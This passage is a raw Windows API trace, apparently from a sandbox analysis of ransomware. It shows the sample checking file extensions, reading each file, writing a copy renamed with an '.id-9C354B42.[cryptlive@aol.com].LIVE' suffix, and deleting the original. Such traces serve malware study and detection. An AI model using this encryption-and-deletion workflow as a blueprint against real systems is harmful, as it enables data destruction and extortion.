dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.313] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.313] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.313] lstrlenW (lpString=".doc") returned 4 [0168.313] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0168.313] lstrlenW (lpString=".docx") returned 5 [0168.313] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0168.313] lstrlenW (lpString=".pdf") returned 4 [0168.313] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0168.313] lstrlenW (lpString=".xls") returned 4 [0168.313] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0168.313] lstrlenW (lpString=".xlsx") returned 5 [0168.313] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0168.313] lstrlenW (lpString=".ppt") returned 4 [0168.313] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0168.313] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.313] lstrlenW (lpString=".zip") returned 4 [0168.313] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0168.313] lstrlenW (lpString=".rar") returned 4 [0168.313] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0168.313] lstrlenW (lpString=".bz2") returned 4 [0168.313] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0168.313] lstrlenW (lpString=".7z") returned 3 [0168.313] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0168.313] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.313] lstrlenW (lpString=".dbf") returned 4 [0168.313] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0168.313] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.313] lstrlenW (lpString=".1cd") returned 4 [0168.313] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0168.313] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.314] lstrlenW (lpString=".jpg") returned 4 [0168.314] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0168.314] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.314] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.314] lstrlenW (lpString=".doc") returned 4 [0168.314] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0168.314] lstrlenW (lpString=".docx") returned 5 [0168.314] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0168.314] lstrlenW (lpString=".pdf") returned 4 [0168.314] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0168.314] lstrlenW (lpString=".xls") returned 4 [0168.314] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0168.314] lstrlenW (lpString=".xlsx") returned 5 [0168.314] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0168.314] lstrlenW (lpString=".ppt") returned 4 [0168.314] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0168.314] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.314] lstrlenW (lpString=".zip") returned 4 [0168.314] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0168.314] lstrlenW (lpString=".rar") returned 4 [0168.314] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0168.314] lstrlenW (lpString=".bz2") returned 4 [0168.314] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0168.314] lstrlenW (lpString=".7z") returned 3 [0168.314] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0168.314] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.314] lstrlenW (lpString=".dbf") returned 4 [0168.314] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0168.314] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.314] lstrlenW (lpString=".1cd") returned 4 [0168.314] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0168.314] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0168.315] lstrlenW (lpString=".jpg") returned 4 [0168.315] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0168.315] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0168.315] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0168.315] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0168.315] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=91712) returned 1 [0168.315] CloseHandle (hObject=0x1c4) returned 1 [0168.315] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0168.315] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.316] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.316] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.316] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.316] lstrlenW (lpString=".doc") returned 4 [0168.316] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0168.316] lstrlenW (lpString=".docx") returned 5 [0168.316] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0168.316] lstrlenW (lpString=".pdf") returned 4 [0168.316] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0168.316] lstrlenW (lpString=".xls") returned 4 [0168.316] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0168.316] lstrlenW (lpString=".xlsx") returned 5 [0168.316] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0168.316] lstrlenW (lpString=".ppt") returned 4 [0168.316] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0168.316] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.316] lstrlenW (lpString=".zip") returned 4 [0168.316] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0168.316] lstrlenW (lpString=".rar") returned 4 [0168.316] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0168.316] lstrlenW (lpString=".bz2") returned 4 [0168.316] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0168.316] lstrlenW (lpString=".7z") returned 3 [0168.316] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0168.316] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.316] lstrlenW (lpString=".dbf") returned 4 [0168.316] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0168.316] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.316] lstrlenW (lpString=".1cd") returned 4 [0168.316] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0168.316] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.316] lstrlenW (lpString=".jpg") returned 4 [0168.316] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0168.317] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.317] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.317] lstrlenW (lpString=".doc") returned 4 [0168.317] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0168.317] lstrlenW (lpString=".docx") returned 5 [0168.317] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0168.317] lstrlenW (lpString=".pdf") returned 4 [0168.317] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0168.317] lstrlenW (lpString=".xls") returned 4 [0168.317] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0168.317] lstrlenW (lpString=".xlsx") returned 5 [0168.317] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0168.317] lstrlenW (lpString=".ppt") returned 4 [0168.317] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0168.317] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.317] lstrlenW (lpString=".zip") returned 4 [0168.317] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0168.317] lstrlenW (lpString=".rar") returned 4 [0168.317] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0168.317] lstrlenW (lpString=".bz2") returned 4 [0168.317] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0168.317] lstrlenW (lpString=".7z") returned 3 [0168.317] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0168.317] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.317] lstrlenW (lpString=".dbf") returned 4 [0168.317] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0168.317] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.317] lstrlenW (lpString=".1cd") returned 4 [0168.317] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0168.317] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0168.317] lstrlenW (lpString=".jpg") returned 4 [0168.317] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0168.317] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0168.318] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0168.318] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0168.318] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=94800) returned 1 [0168.318] CloseHandle (hObject=0x1c4) returned 1 [0168.318] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0168.318] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.318] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.318] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0168.318] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0168.319] lstrlenW (lpString=".doc") returned 4 [0168.319] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0168.319] lstrlenW (lpString=".docx") returned 5 [0168.319] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0168.319] lstrlenW (lpString=".pdf") returned 4 [0168.319] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0168.319] lstrlenW (lpString=".xls") returned 4 [0168.319] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0168.319] lstrlenW (lpString=".xlsx") returned 5 [0168.319] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0168.319] lstrlenW (lpString=".ppt") returned 4 [0168.319] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0168.319] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0168.319] lstrlenW (lpString=".zip") returned 4 [0168.319] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0168.319] lstrlenW (lpString=".rar") returned 4 [0168.319] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0168.319] lstrlenW (lpString=".bz2") returned 4 [0168.319] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0168.319] lstrlenW (lpString=".7z") returned 3 [0168.319] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0168.321] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.321] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.322] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.322] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.637] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.637] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0168.639] GetLastError () returned 0x0 [0168.639] ReadFile (in: hFile=0x1dc, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0x665a0, lpOverlapped=0x0) returned 1 [0169.018] WriteFile (in: hFile=0x1e0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0x665b0, lpOverlapped=0x0) returned 1 [0169.027] ReadFile (in: hFile=0x1dc, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.027] WriteFile (in: hFile=0x1e0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0169.027] SetEndOfFile (hFile=0x1e0) returned 1 [0169.027] CloseHandle (hObject=0x1e0) returned 1 [0169.027] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.027] SetEndOfFile (hFile=0x1dc) returned 1 [0169.031] CloseHandle (hObject=0x1dc) returned 1 [0169.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0169.032] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0169.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.032] lstrlenW (lpString=".doc") returned 4 [0169.032] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.032] lstrlenW (lpString=".docx") returned 5 [0169.033] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0169.033] lstrlenW (lpString=".pdf") returned 4 [0169.033] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.033] lstrlenW (lpString=".xls") returned 4 [0169.033] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.033] lstrlenW (lpString=".xlsx") returned 5 [0169.033] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0169.033] lstrlenW (lpString=".ppt") returned 4 [0169.033] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.033] lstrlenW (lpString=".zip") returned 4 [0169.033] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.033] lstrlenW (lpString=".rar") returned 4 [0169.033] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.033] lstrlenW (lpString=".bz2") returned 4 [0169.033] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.033] lstrlenW (lpString=".7z") returned 3 [0169.033] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.033] lstrlenW (lpString=".dbf") returned 4 [0169.033] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.033] lstrlenW (lpString=".1cd") returned 4 [0169.033] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.033] lstrlenW (lpString=".jpg") returned 4 [0169.033] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.033] lstrlenW (lpString=".doc") returned 4 [0169.033] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.033] lstrlenW (lpString=".docx") returned 5 [0169.034] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0169.034] lstrlenW (lpString=".pdf") returned 4 [0169.034] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.034] lstrlenW (lpString=".xls") returned 4 [0169.034] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.034] lstrlenW (lpString=".xlsx") returned 5 [0169.034] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0169.034] lstrlenW (lpString=".ppt") returned 4 [0169.034] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.034] lstrlenW (lpString=".zip") returned 4 [0169.034] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.034] lstrlenW (lpString=".rar") returned 4 [0169.034] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.034] lstrlenW (lpString=".bz2") returned 4 [0169.034] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.034] lstrlenW (lpString=".7z") returned 3 [0169.034] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.034] lstrlenW (lpString=".dbf") returned 4 [0169.034] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.034] lstrlenW (lpString=".1cd") returned 4 [0169.034] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0169.034] lstrlenW (lpString=".jpg") returned 4 [0169.034] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.327] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0169.327] lstrlenW (lpString="MSOINTL.DLL.IDX_DLL") returned 19 [0169.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.328] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=55680) returned 1 [0169.328] CloseHandle (hObject=0x1e8) returned 1 [0169.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0169.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0169.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.329] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.329] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0169.330] GetLastError () returned 0x0 [0169.330] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0xd980, lpOverlapped=0x0) returned 1 [0169.364] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xd990, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xd990, lpOverlapped=0x0) returned 1 [0169.383] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.383] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0169.386] SetEndOfFile (hFile=0x1f0) returned 1 [0169.388] CloseHandle (hObject=0x1f0) returned 1 [0169.388] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.388] SetEndOfFile (hFile=0x1e8) returned 1 [0169.395] CloseHandle (hObject=0x1e8) returned 1 [0169.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0169.396] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 1 [0169.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 